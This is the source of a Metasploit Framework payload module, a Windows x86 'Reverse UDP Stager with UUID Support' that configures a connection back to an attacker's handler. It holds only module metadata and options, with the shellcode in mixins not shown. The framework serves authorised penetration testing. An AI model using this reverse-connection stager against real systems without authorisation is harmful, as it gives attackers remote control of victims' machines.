/
reverse_udp.rb
40 lines (32 loc) · 960 Bytes
/
reverse_udp.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 312
include Msf::Payload::Stager
include Msf::Payload::Windows::ReverseUdp
def self.handler_type_alias
'reverse_udp'
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse UDP Stager with UUID Support',
'Description' => 'Connect back to the attacker with UUID Support',
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseUdp,
'Convention' => 'udpsockedi',
'Stager' => { 'RequiresMidstager' => false }
))
end
#
# Override the uuid function and opt-in for sending the
# UUID in the stage.
#
def include_send_uuid
false
end
end